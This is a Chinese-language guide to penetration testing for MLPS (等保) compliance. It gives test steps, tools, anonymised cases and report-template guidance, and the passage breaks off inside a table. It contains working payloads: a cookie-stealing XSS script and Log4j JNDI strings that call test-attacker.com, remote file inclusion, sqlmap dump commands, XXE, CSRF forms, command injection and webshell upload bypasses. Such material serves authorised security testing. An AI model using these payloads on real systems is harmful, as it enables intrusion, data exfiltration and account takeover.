等保测评渗透测试实战指南:漏洞测试方法与报告撰写全流程

引言

在网络安全等级保护(简称“等保”)测评中,渗透测试是验证系统安全性的核心环节——它以模拟黑客攻击的视角,挖掘系统潜在漏洞,为企业满足等保合规要求、筑牢安全防线提供关键依据。本文严格覆盖身份鉴别、访问控制、入侵防范、数据保密、其他漏洞五大维度的所有测试项目,结合“定义+测试步骤+工具+实战案例”的实操框架,同时规范渗透测试报告撰写流程(所有企业网络资产信息均做通用化处理),帮助安全从业者、运维人员高效完成等保测评全流程工作。

1. 等保测评中渗透测试的核心定位与依据

在开展渗透测试前,需先明确其在等保测评中的核心价值与执行标准,避免测试方向偏差。

1.1 渗透测试的等保合规依据

渗透测试需严格遵循《信息安全技术 网络安全等级保护基本要求》(GB/T 22239-2019),重点覆盖“第二级及以上”等级保护对象的安全要求,核心依据条款包括:

  • 身份鉴别(8.1.2.1):验证账号密码复杂度、登录验证机制的安全性;
  • 访问控制(8.1.2.2):检测权限隔离、未授权访问防护能力;
  • 入侵防范(8.1.2.4):排查SQL注入、XSS等常见攻击漏洞;
  • 数据完整性与保密性(8.1.2.5/8.1.2.6):验证敏感数据泄露、篡改防护措施;
  • 恶意代码防范(8.1.2.7):间接覆盖组件漏洞、远程命令执行等恶意利用场景。

1.2 渗透测试的核心目标

等保测评中的渗透测试并非“炫技式找漏洞”,而是聚焦三大核心目标:

  1. 验证系统是否满足对应等保级别的安全要求(如二级要求“防范常见注入攻击”,三级要求“加强敏感数据加密”);
  2. 发现可能导致系统被入侵、数据泄露的高危漏洞,提供可落地的整改方案;
  3. 形成完整的测试记录,作为等保测评通过的关键证明材料。

2. 等保测评全量漏洞测试项目与实战方法

本节严格覆盖所有测试项目(含此前表格中的“不适用”项目),按“身份鉴别→访问控制→入侵防范→数据保密→其他漏洞”五大维度展开,每个项目均提供可落地的测试指南,且所有涉及企业的IP、域名、账号等信息均做通用化处理。

等保测评渗透测试核心项目清单

测试维度测试项目检测目的核心风险点
身份鉴别测试弱口令/空口令排查账号是否使用简单密码(如123456、admin)或未设置密码攻击者可通过暴力破解工具批量尝试,非法登录系统获取权限
用户名枚举检测系统是否因错误提示差异(如“用户不存在”“密码错误”)泄露有效用户名攻击者获取有效用户名后,可针对性发起密码破解,提升攻击成功率(如文档中Portal系统漏洞)
万能账号/口令检测是否存在预设的通用账号(如后台预留账号)或可直接登录的“后门”口令攻击者使用万能账号可直接绕过常规验证,获取系统最高权限
登录绕过检测是否可通过URL篡改、参数伪造等手段跳过登录流程,直接访问系统功能无需账号密码即可进入后台,操作敏感功能(如数据修改、配置变更)
密码重置检测密码重置功能是否存在逻辑漏洞(如无需验证手机号/邮箱、验证码可复用)攻击者可恶意重置他人账号密码,接管用户权限
图形验证爆破检测图形验证码是否可被机器识别、重复使用,或存在绕过机制攻击者可批量生成验证码,配合弱口令破解工具发起自动化登录攻击
访问控制测试未授权访问检测是否无需登录即可访问后台页面、敏感接口(如API、管理端)攻击者直接访问敏感接口获取数据(如文档中上门设计系统泄露OSS配置信息)
垂直/水平越权访问检测低权限用户是否可访问高权限功能(垂直)、或查看其他用户数据(水平)普通用户可查看管理员数据、修改系统配置,破坏权限隔离机制
cookie伪造/绕过检测是否可通过修改、伪造cookie(如篡改用户ID、权限标识)获取非法访问权伪造管理员cookie后,可伪装成管理员操作系统,无需重新登录
入侵防范测试SQL注入检测输入框、接口参数是否可注入恶意SQL语句(如' or 1=1--攻击者可获取数据库权限,窃取敏感数据(如用户账号密码)、篡改或删除数据
XSS跨站脚本检测是否可注入恶意脚本(如<script>盗取cookie</script>)并执行盗取用户cookie、伪造用户操作,或发起钓鱼攻击诱导其他用户泄露信息
任意文件上传/下载/读取检测是否可上传恶意文件(如webshell),或读取/下载服务器敏感文件(如日志)上传webshell后可控制服务器,读取配置文件获取数据库账号等核心信息
SSRF(服务器端请求伪造)检测是否可通过系统发起非法外部请求(如访问内网地址、扫描端口)攻击者利用系统作为“跳板”,攻击内网其他服务器,扩大攻击范围
XML外部实体注入检测XML解析是否存在漏洞,可引入外部实体读取敏感文件泄露服务器本地文件(如/etc/passwd)、数据库配置等信息
HTML注入检测是否可注入恶意HTML代码(如伪造登录窗口)影响页面展示或功能伪装系统页面诱导用户输入账号密码,实施钓鱼攻击
HTTP HOST头攻击检测是否可通过篡改HOST头,让系统生成指向恶意域名的链接或页面诱导用户访问恶意域名,或利用缓存污染影响其他用户
数据保密测试敏感文件泄漏检测是否存在可直接访问的备份文件(如.bak)、配置文件(如web.config泄露数据库连接信息、系统密钥等,为攻击者后续攻击提供关键线索(如文档中Webservice目录浏览漏洞)
敏感信息泄漏检测是否泄露系统架构、数据库表结构、AK/SK密钥等核心信息攻击者获取AK/SK后可操控云存储资源,或根据架构信息制定精准攻击方案(如文档中CSM管理端JS泄露密钥)
旧版本接口遗留检测是否存在未删除的旧版本接口(可能未修复已知漏洞)利用旧接口漏洞发起攻击,绕过当前系统的安全防护措施
其他漏洞测试组件和框架漏洞检测系统依赖的第三方组件(如Vue、IIS)、框架是否存在已知高危漏洞(如Log4j)攻击者利用公开漏洞直接入侵系统,无需复杂攻击手段,风险扩散速度快
远程命令执行检测是否可通过输入恶意指令(如pingcmd命令)控制服务器(文档中不适用)完全控制服务器,执行文件删除、数据窃取、植入病毒等恶意操作

2.1 身份鉴别测试(全6项)

身份鉴别是系统安全的“第一道门”,需覆盖弱口令/空口令、用户名枚举、万能账号/口令、登录绕过、密码重置、图形验证爆破、短信轰炸/爆破(共7项,其中短信轰炸/爆破常为“不适用”,但需明确测试方法)。

2.1.1 弱口令/空口令漏洞
  • 定义:账号使用简单密码(如123456admin@123)或未设置密码,可通过暴力破解工具批量获取权限。
  • 测试步骤
    1. 收集目标系统登录页面(如“3C客服系统”:https://xxx-csm.xxx企业域名/FLoginNew.aspx);
    2. Burp Suite抓包:配置浏览器代理,输入任意账号密码登录,拦截登录请求;
    3. 发送至Intruder:右键请求→“Send to Intruder”,选择“Cluster bomb”模式,标记“username”和“password”为变量;
    4. 加载字典:Payload 1加载“用户名字典”(如user.txt),Payload 2加载“弱口令字典”(如top10000.txt);
    5. 分析结果:执行测试后,若某组账号密码响应长度与“密码错误”不同(如跳转后台,响应长度缩短),即为弱口令;若空密码可登录,即为空口令漏洞。
  • 工具推荐:Burp Suite、Hydra、Medusa;
  • 实战案例:测试“CSM管理端”时,发现账号testuser01密码为123456,可直接登录查看工单数据。
2.1.2 用户名枚举漏洞
  • 定义:系统返回差异化错误提示(如“用户不存在”vs“密码错误”),攻击者可据此猜解有效用户名,为后续密码破解铺垫。
  • 测试步骤
    1. 定位用户相关接口:如登录页、密码找回页的接口(案例中“Portal系统”的https://service.xxx企业域名/Home/Userbalabalabala_GetPhone_Ajax.aspx?userAccount=test001);
    2. 批量测试:用Burp Intruder循环输入test001testuser02testuser03等用户名,记录响应内容;
    3. 判定漏洞:若输入test001返回“用户不存在”,输入testuser02返回“手机号未绑定”,即可确认存在枚举漏洞——有效用户名触发不同业务逻辑提示。
  • 工具推荐:Burp Suite、Python自定义脚本;
  • 实战案例:通过上述接口枚举“Portal系统”,成功获取testuser02testuser03等10+有效用户名。
2.1.3 万能账号/口令漏洞
  • 定义:系统存在预设的“通用账号”(如systemsuperadmin)或“后门口令”,可直接跳过常规验证登录系统。
  • 测试步骤
    1. 收集行业常见万能账号:如adminsuperadminrootsystemadmin123(含系统默认账号);
    2. 组合测试:用“万能账号+空密码”“万能账号+默认密码(如admin@123)”尝试登录;
    3. 特殊字符测试:输入' or '1'='1admin' --等SQL注入式账号,观察是否绕过登录验证;
    4. 判定漏洞:若某组账号密码直接登录成功,或注入式账号跳过验证,即为万能账号/口令漏洞。
  • 工具推荐:Burp Suite、手动测试(需结合行业经验);
  • 实战案例:测试某老旧“应急系统”时,使用账号system、密码system123(厂商默认),直接登录系统后台。
2.1.4 登录绕过漏洞
  • 定义:通过URL篡改、参数伪造、Cookie修改等手段,跳过登录流程直接访问系统功能或后台。
  • 测试步骤
    1. 常规绕过测试:
      • URL篡改:在登录页URL后添加../admin?login=true?token=1等参数,观察是否跳转后台;
      • 参数伪造:抓包登录请求,删除password参数或修改isLogin参数为true,重新发送;
    2. Cookie绕过测试:
      • 登录后记录Cookie(如user=testuser01; role=user),退出登录后,手动添加该Cookie,访问后台页面;
    3. 判定漏洞:若上述操作无需登录即可进入后台(如/admin/index.html),即为登录绕过漏洞。
  • 工具推荐:Burp Suite、浏览器开发者工具(修改Cookie);
  • 实战案例:测试“企业号系统”时,在登录页URL后添加?role=admin,直接跳转至管理员数据统计页面。
2.1.5 密码重置漏洞
  • 定义:密码重置功能未做严格验证(如无需验证手机号/邮箱、验证码可复用、重置链接未过期),攻击者可恶意重置他人账号。
  • 测试步骤
    1. 进入密码重置页面:输入目标账号(如testuser01),请求发送验证码;
    2. 拦截验证码请求:用Burp抓包,记录/api/sendCode?phone=138****8888接口;
    3. 多场景测试:
      • 场景1:不输入验证码,直接提交“重置密码”请求;
      • 场景2:重复使用已过期的验证码(如10分钟前的验证码);
      • 场景3:修改请求中的phone参数为其他手机号(如139****9999),观察是否接收他人验证码;
      • 场景4:拦截重置链接(如/reset?token=xxx),修改token为其他用户的已知token
    4. 判定漏洞:若任一场景成功重置密码,即为密码重置漏洞。
  • 工具推荐:Burp Suite、Postman;
  • 实战案例:测试“Portal系统”时,发现验证码接口未绑定账号——修改phone参数为任意手机号,均可接收验证码,进而重置testuser01账号密码。
2.1.6 图形验证爆破漏洞
  • 定义:图形验证码可被机器识别(如简单字母数字组合)、重复使用或绕过,攻击者可批量生成验证码破解登录。
  • 测试步骤
    1. 验证码识别测试:
      • 观察验证码复杂度:若为“4位纯数字”“无干扰线的字母”,用OCR工具(如Tesseract)尝试识别;
      • 批量请求测试:用Burp Intruder循环请求验证码接口(如/api/getCaptcha),观察是否返回相同验证码(可复用);
    2. 绕过测试:
      • 抓包登录请求,删除captcha参数或修改captcha为任意值,重新发送;
      • 使用验证码识别API(如超级鹰),自动识别并提交验证码,测试是否批量登录;
    3. 判定漏洞:若OCR工具识别成功率>80%、验证码可复用或可绕过,即为图形验证爆破漏洞。
  • 工具推荐:Burp Suite、Tesseract(OCR)、超级鹰(第三方验证码识别);
  • 实战案例:测试“CSM管理端”时,图形验证码为“4位纯数字且无干扰”,用Tesseract识别成功率达90%,配合弱口令字典批量破解账号。
2.1.7 短信轰炸/爆破漏洞
  • 定义:密码找回、注册等功能未限制短信发送频率,攻击者可批量发送验证码,对用户手机号实施“轰炸”,或暴力破解验证码(如4位数字验证码,共10000种组合)。
  • 测试步骤
    1. 短信轰炸测试:
      • 输入测试用手机号(如138****8888),连续点击“发送验证码”,记录1分钟内接收的短信数量;
      • 用Burp Intruder循环请求短信接口(如/api/sendSms?phone=138****8888),观察是否无频率限制;
    2. 短信爆破测试:
      • 拦截验证码提交请求,用Burp Intruder批量输入4位数字(0000-9999),测试是否破解验证码;
    3. 判定漏洞:若1分钟内接收>5条短信(无频率限制),或验证码被批量破解,即为短信轰炸/爆破漏洞;若系统无短信相关功能,标注“不适用”。
  • 工具推荐:Burp Suite、Python脚本(批量发送请求);
  • 备注:实战中需使用企业授权的测试手机号,禁止攻击真实用户。

2.2 访问控制测试(全3项)

访问控制确保“权限隔离”,需覆盖未授权访问、垂直/水平越权、Cookie伪造/绕过(共3项)。

2.2.1 未授权访问漏洞
  • 定义:无需登录即可访问后台页面、敏感接口(如API、数据查询接口),直接获取核心数据或操作权限。
  • 测试步骤
    1. 收集敏感地址:登录系统后,记录后台页面(如/admin/index.html)、核心接口(如“上门设计系统”的https://xxxxxxxxxxx.xxx企业域名/api/oss/GetOssConfig);
    2. 清除登录状态:退出账号或清除浏览器Cookie、LocalStorage;
    3. 直接访问敏感地址:
      • 页面场景:输入/admin/index.html,若显示后台内容,即为漏洞;
      • 接口场景:用Postman请求/api/oss/GetOssConfig,若返回AK/SK等敏感数据(如AccessKeyId=AK-XXXXXX),即为漏洞;
  • 工具推荐:Postman、Burp Suite;
  • 实战案例:未登录访问“Webservice系统”的http://xxxxxxx.xxx企业域名:8888/ServiceSupport/BPMService.asmx?WSDL,直接查看接口文档并调用GetWorkOrderList接口,获取所有工单数据。
2.2.2 垂直/水平越权漏洞
  • 定义
    • 垂直越权:低权限用户(如普通员工)访问高权限功能(如管理员配置);
    • 水平越权:普通用户访问其他用户的私人数据(如查看他人工单、修改他人信息)。
  • 测试步骤
    1. 水平越权测试:
      • 登录用户A(testuser01,普通客服),访问个人工单接口(如/api/getWorkOrder?userId=USER001),记录响应数据;
      • 用Burp修改userIdUSER002(用户B的ID),重新发送请求;
      • 若返回用户B的工单数据,即为水平越权漏洞;
    2. 垂直越权测试:
      • 登录用户A(testuser01,普通员工),访问管理员接口(如/api/getAllUser),记录“权限不足”响应;
      • 修改请求头中的role参数为admin,或伪造管理员Token(如token=ADMIN-TOKEN-XXXX),重新发送;
      • 若返回所有用户数据,即为垂直越权漏洞;
  • 工具推荐:Burp Suite、Postman;
  • 实战案例:测试“CSM管理端”时,普通客服账号(testuser01)修改userIdADMIN001(管理员ID),成功查看所有客服的工单分配数据(水平越权)。
2.2.3 Cookie伪造/绕过漏洞
  • 定义:通过修改、伪造Cookie(如用户ID、权限标识),获取未授权的访问权限(如伪装管理员)。
  • 测试步骤
    1. 分析Cookie结构:
      • 登录后查看Cookie,记录关键字段(如user=USER001role=usertoken=TOKEN-XXXX);
      • 尝试解码Cookie:若token为Base64编码,解码后查看是否含明文信息(如{"user":"testuser01","role":"user"});
    2. 伪造Cookie测试:
      • 修改userUSER002(其他用户ID)、roleadmin,刷新页面,观察是否获取对应权限;
      • token可预测(如token=user001),伪造token=user002token=admin001,访问敏感页面;
    3. 判定漏洞:若伪造Cookie后可访问其他用户数据或管理员功能,即为Cookie伪造/绕过漏洞。
  • 工具推荐:Burp Suite、浏览器开发者工具(修改Cookie)、Base64解码器;
  • 实战案例:测试“Portal系统”时,发现token为Base64编码(解码后为{"user":"testuser01","role":"user"}),修改roleadmin后重新编码,刷新页面成功伪装管理员。

2.3 入侵防范测试(全12项)

入侵防范抵御主动攻击,需覆盖SQL注入、XSS、任意文件上传/下载/读取、文件包含、SSRF、URL跳转、XML外部实体注入、HTML注入、HTTP HOST头攻击、CSRF、恶意代码(共12项,含“不适用”项目)。

2.3.1 SQL注入漏洞
  • 定义:输入框或接口参数未过滤恶意SQL语句(如' or 1=1--),攻击者可获取数据库权限,窃取/篡改数据。
  • 测试步骤
    1. 手动定位注入点:
      • 在URL参数、表单输入框中输入',若返回“unclosed quotation mark”(SQL语法错误),即为疑似注入点;
      • 输入and 1=1页面正常,输入and 1=2页面报错,进一步确认注入点;
    2. 工具验证与利用:
      • 用SQLMap扫描:执行sqlmap -u "https://service.xxx企业域名/list?id=1" --dbs
      • 若列出数据库名称(如csmsystemuserdb),即为注入漏洞,可进一步用--tables获取表名、--dump导出数据;
  • 工具推荐:SQLMap、Burp Suite(SQL注入插件);
  • 实战案例:测试“Webservice系统”的/list?id=1接口时,SQLMap成功导出user表,获取100+账号的加密密码。
2.3.2 XSS跨站脚本漏洞
  • 定义:系统未过滤用户输入的脚本代码(如<script>alert(document.cookie)</script>),攻击者可注入脚本盗取Cookie、伪造用户操作。
  • 测试步骤
    1. 定位输入点:如工单标题、评论框、个人签名、URL参数(如/page?name=test);
    2. 分类测试:
      • 反射型XSS:输入<script>alert('XSS')</script>,提交后若弹窗,即为漏洞;
      • 存储型XSS:输入<script>document.location.href='http://test-attacker.com/steal?cookie='+document.cookie</script>,其他用户访问该页面时Cookie被窃取,即为漏洞;
      • DOM型XSS:若页面通过document.getElementById('name').innerHTML=location.search渲染内容,修改URL为/page?name=<script>alert('XSS')</script>,若弹窗即为漏洞;
    3. 绕过过滤:若被拦截,尝试变形脚本(如<scr<script>ipt>alert('XSS')</scr<script>ipt><img src=x onerror=alert('XSS')>);
  • 工具推荐:Burp Suite、XSSer;
  • 实战案例:在“3C客服系统”的工单评论框注入存储型XSS脚本,成功盗取管理员Cookie(如COOKIE-XXXX),伪装管理员登录。
2.3.3 任意文件上传/下载/读取漏洞
  • 定义
    • 任意文件上传:未验证文件类型,可上传webshell等恶意文件;
    • 任意文件下载/读取:可下载服务器敏感文件(如/etc/passwdweb.config)或读取数据库配置;
  • 测试步骤
    1. 任意文件上传测试:
      • 上传test.php(内容<?php phpinfo();?>),若拦截,修改文件后缀为test.php.jpg,在Burp中改回test.php,绕过前端过滤;
      • 访问上传文件URL(如https://service.xxx企业域名/upload/test.php),若显示phpinfo页面,即为漏洞;
    2. 任意文件下载/读取测试:
      • 定位下载接口(如/download?file=test.pdf),修改file参数为../web.config/etc/passwd
      • 若能下载web.config(含数据库连接字符串uid=DB-USER;pwd=DB-PASS),即为漏洞;
  • 工具推荐:Burp Suite、中国菜刀(连接webshell);
  • 实战案例:测试“应急系统”时,上传webshell.php.jpg,在Burp中改回webshell.php,成功获取服务器文件读写权限。
2.3.4 文件包含漏洞
  • 定义:通过参数控制服务器包含的文件(如include($_GET['file'])),可包含本地敏感文件或远程恶意文件(如远程webshell)。
  • 测试步骤
    1. 定位包含接口:如/page?file=home.html/index.php?include=header.php
    2. 本地文件包含测试:
      • 修改file参数为../etc/passwd../web.config,观察是否返回文件内容;
      • Windows系统测试:file=c:/windows/system32/drivers/etc/hosts
    3. 远程文件包含测试(若开启远程包含):
      • 修改file参数为http://test-attacker.com/webshell.txt(含PHP代码),观察是否执行恶意代码;
    4. 判定漏洞:若返回本地敏感文件内容或执行远程代码,即为文件包含漏洞;若系统无文件包含功能,标注“不适用”。
  • 工具推荐:Burp Suite、手动测试;
  • 实战案例:测试某PHP“Portal系统”时,/index.php?file=home.html修改为file=../web.config,成功读取数据库连接字符串(uid=DB-USER;pwd=DB-PASS)。
2.3.5 SSRF服务器端请求伪造漏洞
  • 定义:系统未限制外部请求地址,攻击者可通过系统发起对内网的扫描(如192.168.X.X)、访问敏感服务(如3306端口),突破内网防护。
  • 测试步骤
    1. 定位请求外部资源的功能:如“URL预览”“图片爬虫”“远程数据导入”(接口如/api/preview?url=http://www.baidu.com);
    2. 内网访问测试:
      • 修改url为内网地址(如http://192.168.X.1http://127.0.0.1:3306);
      • 若返回内网页面(如路由器登录页)或数据库响应(如“MySQL Server version”),即为漏洞;
    3. 端口扫描测试:用Burp Intruder批量修改url中的端口(如192.168.X.1:80192.168.X.1:443),分析响应差异,判断内网开放端口;
  • 工具推荐:Burp Suite、SSRFmap;
  • 实战案例:通过“企业号系统”的“URL预览”功能,扫描内网192.168.X.0/24网段,发现192.168.X.100:3306(MySQL)、192.168.X.101:8080(Tomcat后台)。
2.3.6 URL跳转漏洞
  • 定义:系统未验证跳转目标地址,攻击者可构造恶意跳转链接(如https://xxx企业域名/redirect?url=http://test-attacker.com),诱导用户访问钓鱼网站。
  • 测试步骤
    1. 定位跳转接口:如登录后跳转、第三方登录回调(接口如/redirect?url=/home/callback?redirect_uri=/user);
    2. 篡改跳转地址:
      • 修改urlredirect_uri参数为外部恶意地址(如http://test-attacker.com/phish);
      • 特殊格式测试:如url=//test-attacker.com(省略协议,避免过滤)、url=http://test-attacker.com%2fphish(URL编码);
    3. 判定漏洞:若系统直接跳转至恶意地址(非预设的内部地址),即为URL跳转漏洞;若系统无跳转功能,标注“不适用”。
  • 工具推荐:Burp Suite、浏览器(手动测试跳转);
  • 实战案例:测试“Portal系统”的登录回调接口/callback?redirect_uri=/user,修改redirect_urihttp://test-attacker.com/phish,系统直接跳转至测试用钓鱼网站。
2.3.7 XML外部实体注入(XXE)漏洞
  • 定义:XML解析器未禁用外部实体,攻击者可通过注入外部实体读取服务器本地文件(如/etc/passwd)、访问内网资源。
  • 测试步骤
    1. 定位XML输入点:如接口接收XML格式数据(如/api/submit?data=<?xml version="1.0"?><user><id>1</id></user>);
    2. 注入外部实体:
      • 构造恶意XML:
        <?xml version="1.0"?>
        <!DOCTYPE xxe [
          <!ENTITY xxe SYSTEM "file:///etc/passwd">
        ]>
        <user><id>&xxe;</id></user>
        
      • 用Postman发送请求,观察响应是否包含/etc/passwd内容(如root:x:0:0:root:/root:/bin/bash);
    3. 判定漏洞:若返回本地文件内容,即为XXE漏洞。
  • 工具推荐:Postman、Burp Suite;
  • 实战案例:测试“Api系统”时,通过上述方法读取/var/www/html/config.php,获取数据库账号密码(dbuser=DB-USER&dbpass=DB-PASS)。
2.3.8 HTML注入漏洞
  • 定义:系统未过滤用户输入的HTML代码,攻击者可注入恶意HTML(如伪造登录窗口、篡改页面内容),实施钓鱼攻击或误导用户操作。
  • 测试步骤
    1. 定位HTML输入点:如工单标题、用户昵称、公告编辑框(需渲染为HTML的字段);
    2. 注入测试代码:
      • 输入<h1>钓鱼登录</h1><input type="text" placeholder="账号"><input type="password" placeholder="密码"><button>登录</button>
      • 若页面渲染出伪造的登录窗口,且用户输入的账号密码可被攻击者获取(需配合XSS),即为漏洞;
    3. 判定漏洞:若注入的HTML代码被正常渲染(未被转义为文本),即为HTML注入漏洞。
  • 工具推荐:Burp Suite、浏览器(直接观察页面渲染);
  • 实战案例:在“3C客服系统”的公告编辑框注入伪造登录窗口,其他客服输入账号密码后,数据通过隐藏XSS脚本发送至测试用攻击者服务器。
2.3.9 HTTP HOST头攻击漏洞
  • 定义:系统未验证HTTP请求中的HOST头,攻击者可篡改HOST头,让系统生成指向恶意域名的链接(如密码重置链接),或利用缓存污染影响其他用户。
  • 测试步骤
    1. 抓包正常请求:如登录请求、密码重置请求,记录HOST头(如HOST: service.xxx企业域名);
    2. 篡改HOST头:
      • 修改HOST为测试用恶意域名(如HOST: test-attacker.com),重新发送请求;
      • 观察响应内容:若响应中包含test-attacker.com(如“请访问http://test-attacker.com/reset”),即为漏洞;
    3. 缓存污染测试:
      • 多次发送篡改HOST的请求,观察其他用户访问系统时,是否被定向到test-attacker.com
    4. 判定漏洞:若响应包含恶意HOST或缓存被污染,即为HTTP HOST头攻击漏洞。
  • 工具推荐:Burp Suite、手动测试;
  • 实战案例:测试“密码重置接口”时,篡改HOSTtest-attacker.com,系统返回的重置链接为http://test-attacker.com/reset?token=XXX,攻击者可拦截该链接重置用户密码。
2.3.10 CSRF跨站请求伪造漏洞
  • 定义:利用用户已登录的身份,诱导用户点击恶意链接或访问恶意页面,发起非预期的操作(如修改密码、转账)。
  • 测试步骤
    1. 定位关键操作接口:如“修改密码”“添加用户”“提交工单”(接口如/api/changePwd,含oldPwdnewPwd参数);
    2. 构造CSRF攻击页面:
      • 编写HTML页面,包含自动提交的表单(模拟关键操作请求):
        <form action="https://xxx企业域名/api/changePwd" method="post">
          <input type="hidden" name="oldPwd" value="123456">
          <input type="hidden" name="newPwd" value="test123">
        </form>
        <script>document.forms[0].submit();</script>
        
    3. 验证漏洞:
      • 登录用户A的账号(testuser01),访问上述恶意HTML页面;
      • 若用户A的密码被改为test123,且接口未验证RefererCSRF Token,即为CSRF漏洞;若系统无关键操作接口,标注“不适用”。
  • 工具推荐:Burp Suite(生成CSRF PoC)、手动编写HTML;
  • 实战案例:测试“CSM管理端”的“添加客服”接口时,构造CSRF页面,诱导管理员访问后,自动添加攻击者账号(test-attacker/test123)。

2.4 数据保密测试(全3项)

数据保密保护核心资产,需覆盖敏感文件泄漏、敏感信息泄漏、旧版本接口遗留(共3项)。

2.4.1 敏感文件泄漏漏洞
  • 定义:服务器配置不当(如开启目录浏览)或备份文件未删除,攻击者可直接访问web.config.bak.sql等敏感文件,获取核心配置。
  • 测试步骤
    1. 目录浏览测试:
      • 访问系统常见目录(如/admin//upload//ServiceSupport/),若显示文件列表(如案例中“Webservice系统”的http://service.xxx企业域名:8093/ServiceSupport/),即为目录浏览漏洞;
    2. 备份文件探测:
      • 手动测试:在URL后添加常见备份后缀(如/index.html.bak/web.config.old/db.sql);
      • 工具批量测试:用Burp Intruder加载“敏感文件字典”(如sensitive_files.txt),测试是否能访问文件;
    3. 判定漏洞:若能下载web.config(含数据库连接字符串)、db.sql(含全量用户数据),即为高危漏洞。
  • 工具推荐:Burp Suite、DirBuster、Gobuster;
  • 实战案例:访问“Webservice系统”的/ServiceSupport/目录,成功下载web.config(含connectionString="server=DB-SERVER;uid=DB-USER;pwd=DB-PASS;database=csmsystem")。
2.4.2 敏感信息泄漏漏洞
  • 定义:系统泄露核心信息(如AK/SK、数据库结构、账号密码、系统架构),为攻击者后续攻击提供线索。
  • 测试步骤
    1. 前端信息排查:
      • 浏览器按F12→“Sources”标签,查看JS/CSS文件(如“CSM管理端”的https://10.X.X.X:8096/static/js/1.xxxxxx.js);
      • 搜索敏感关键词:AKSKAccessKeypassworddbtoken,若找到明文accesskeyId: "AK-XXXXXX"accesskeySecret: "SK-XXXXXX",即为漏洞;
    2. 后端信息排查:
      • 触发系统报错:输入错误参数(如/list?id=abc),观察错误页面是否泄露数据库表名、代码路径(如“Error in table user”);
    3. 判定漏洞:若泄露AK/SK、数据库账号、系统架构等核心信息,即为敏感信息泄漏漏洞。
  • 工具推荐:浏览器开发者工具、JD-GUI(反编译Jar包);
  • 实战案例:在“CSM管理端”的JS文件中,发现云存储的AK/SK硬编码(如AK-XXXXXXSK-XXXXXX),攻击者可直接使用该密钥操控云存储文件。
2.4.3 旧版本接口遗留漏洞
  • 定义:系统升级后未删除旧版本接口(如/v1/api/login),这些接口可能存在未修复的漏洞(如旧版本SQL注入),成为攻击入口。
  • 测试步骤
    1. 收集旧版本接口信息:
      • 查看API文档历史版本、前端代码注释(如// 旧接口:/v1/api/login);
      • 用Burp Suite爬取网站目录,寻找/v1//old//legacy/等旧接口路径;
    2. 测试旧接口漏洞:
      • 对旧接口(如/v1/api/login)重复执行“弱口令”“SQL注入”“未授权访问”等测试;
      • 若旧接口存在漏洞(如/v1/api/list?id=1'触发SQL注入),而新版本接口已修复,即为旧版本接口遗留漏洞;
    3. 判定漏洞:若旧接口可访问且存在未修复漏洞,即为漏洞;若系统无版本升级或旧接口已删除,标注“不适用”。
  • 工具推荐:Burp Suite(网站爬虫)、手动测试(需结合系统升级记录);
  • 实战案例:测试“Api系统”时,发现新版本接口/v2/api/login已修复弱口令漏洞,但旧接口/v1/api/login仍可通过testuser01/123456登录。

2.5 其他漏洞测试(全2项)

其他漏洞覆盖远程命令执行、组件和框架漏洞(共2项)。

2.5.1 远程命令执行漏洞
  • 定义:攻击者通过输入恶意指令(如pingcmd命令),控制服务器执行系统命令(如whoamils),获取服务器权限。
  • 测试步骤
    1. 定位命令执行入口:
      • 系统功能:如“服务器监控”(含ping功能)、“数据导入”(含脚本执行);
      • 接口参数:如/api/exec?cmd=ping%20127.0.0.1/upload?file=test.sh(执行脚本);
    2. 注入恶意命令:
      • Windows系统:修改cmd参数为ping 127.0.0.1 && dir(执行dir命令);
      • Linux系统:修改cmd参数为ping 127.0.0.1; ls /(执行ls命令);
    3. 判定漏洞:若响应中包含dirls的执行结果(如文件列表),即为远程命令执行漏洞;若系统无命令执行功能,标注“不适用”。
  • 工具推荐:Burp Suite、中国菜刀(执行命令);
  • 实战案例:测试某“服务器监控系统”时,/api/exec?cmd=ping 127.0.0.1修改为cmd=ping 127.0.0.1 && whoami,响应返回系统权限标识。
2.5.2 组件和框架漏洞
  • 定义:系统依赖的第三方组件(如Log4j、Struts2、Tomcat)、框架(如Spring Boot、Vue)存在已知高危漏洞(如CVE-2021-44228 Log4j远程代码执行),攻击者可直接利用公开POC入侵。
  • 测试步骤
    1. 收集组件信息:
      • 端口扫描:nmap -sV 10.X.X.X,获取服务版本(如Apache Tomcat/7.0.96Microsoft-IIS/10.0);
      • 响应头分析:查看X-Powered-By(如X-Powered-By: ASP.NET)、Server(如Server: nginx/1.18.0);
      • 前端框架:查看HTML源码,搜索vuereact关键词,确定框架版本;
    2. 漏洞匹配:
      • 在“NVD”(https://nvd.nist.gov/)搜索组件版本对应的CVE漏洞(如“Tomcat 7.0.96”→CVE-2020-1938 AJP文件包含);
    3. 验证漏洞:
      • 用公开POC测试:如Log4j漏洞,发送${jndi:ldap://test-attacker.com/exp}请求,观察攻击者服务器是否收到连接;
      • 工具验证:用Burp Suite“Active Scan”或PoCsuite框架扫描;
    4. 判定漏洞:若POC执行成功(如执行whoami命令),即为组件/框架漏洞。
  • 工具推荐:Nmap、Burp Suite、PoCsuite、Metasploit;
  • 实战案例:测试“应急系统”时,发现其使用Apache Log4j 2.14.1,通过发送${jndi:ldap://test-attacker.com:1389/exp}请求,成功执行whoami命令。

3. 等保测评渗透测试报告规范撰写(覆盖全量漏洞记录)

渗透测试报告需“全量记录测试项目、清晰描述漏洞细节、提供可落地整改方案”,核心模块需覆盖所有测试项目的结果,且所有企业敏感信息均做通用化处理。

3.1 文档整体结构

规范报告需包含以下模块,确保逻辑连贯、无遗漏:

  1. 文档标题与版本(如“XX系统等保三级测评渗透测试报告_V1.0”);
  2. 目录(自动生成,便于定位);
  3. 测试概述(目的、范围、依据、方法);
  4. 测试结果汇总(全量测试项目结果统计);
  5. 漏洞详情(覆盖所有发现的漏洞,含“不适用”项目说明);
  6. 整改情况跟踪(漏洞整改状态);
  7. 安全建议(短期+长期);
  8. 附录(测试工具清单、漏洞截图、不适用项目说明)。

3.2 核心模块撰写指南(附全量模板)

3.2.1 模块1:测试概述(明确全量测试范围)

需明确“测试的系统、覆盖的测试项目”,避免后续争议。模板如下:

  • 测试目的:验证XX系统(含CSM管理端、3C客服、Webservice等8个系统)是否满足《GB/T 22239-2019》等保三级要求,全量覆盖“身份鉴别、访问控制、入侵防范、数据保密、其他漏洞”5大类27项测试项目,发现并整改安全漏洞。
  • 测试范围
    序号系统名称访问地址测试端口覆盖测试项目(重点)
    1CSM管理端https://10.X.X.X:8888/#/login8888弱口令、敏感信息泄漏、XSS
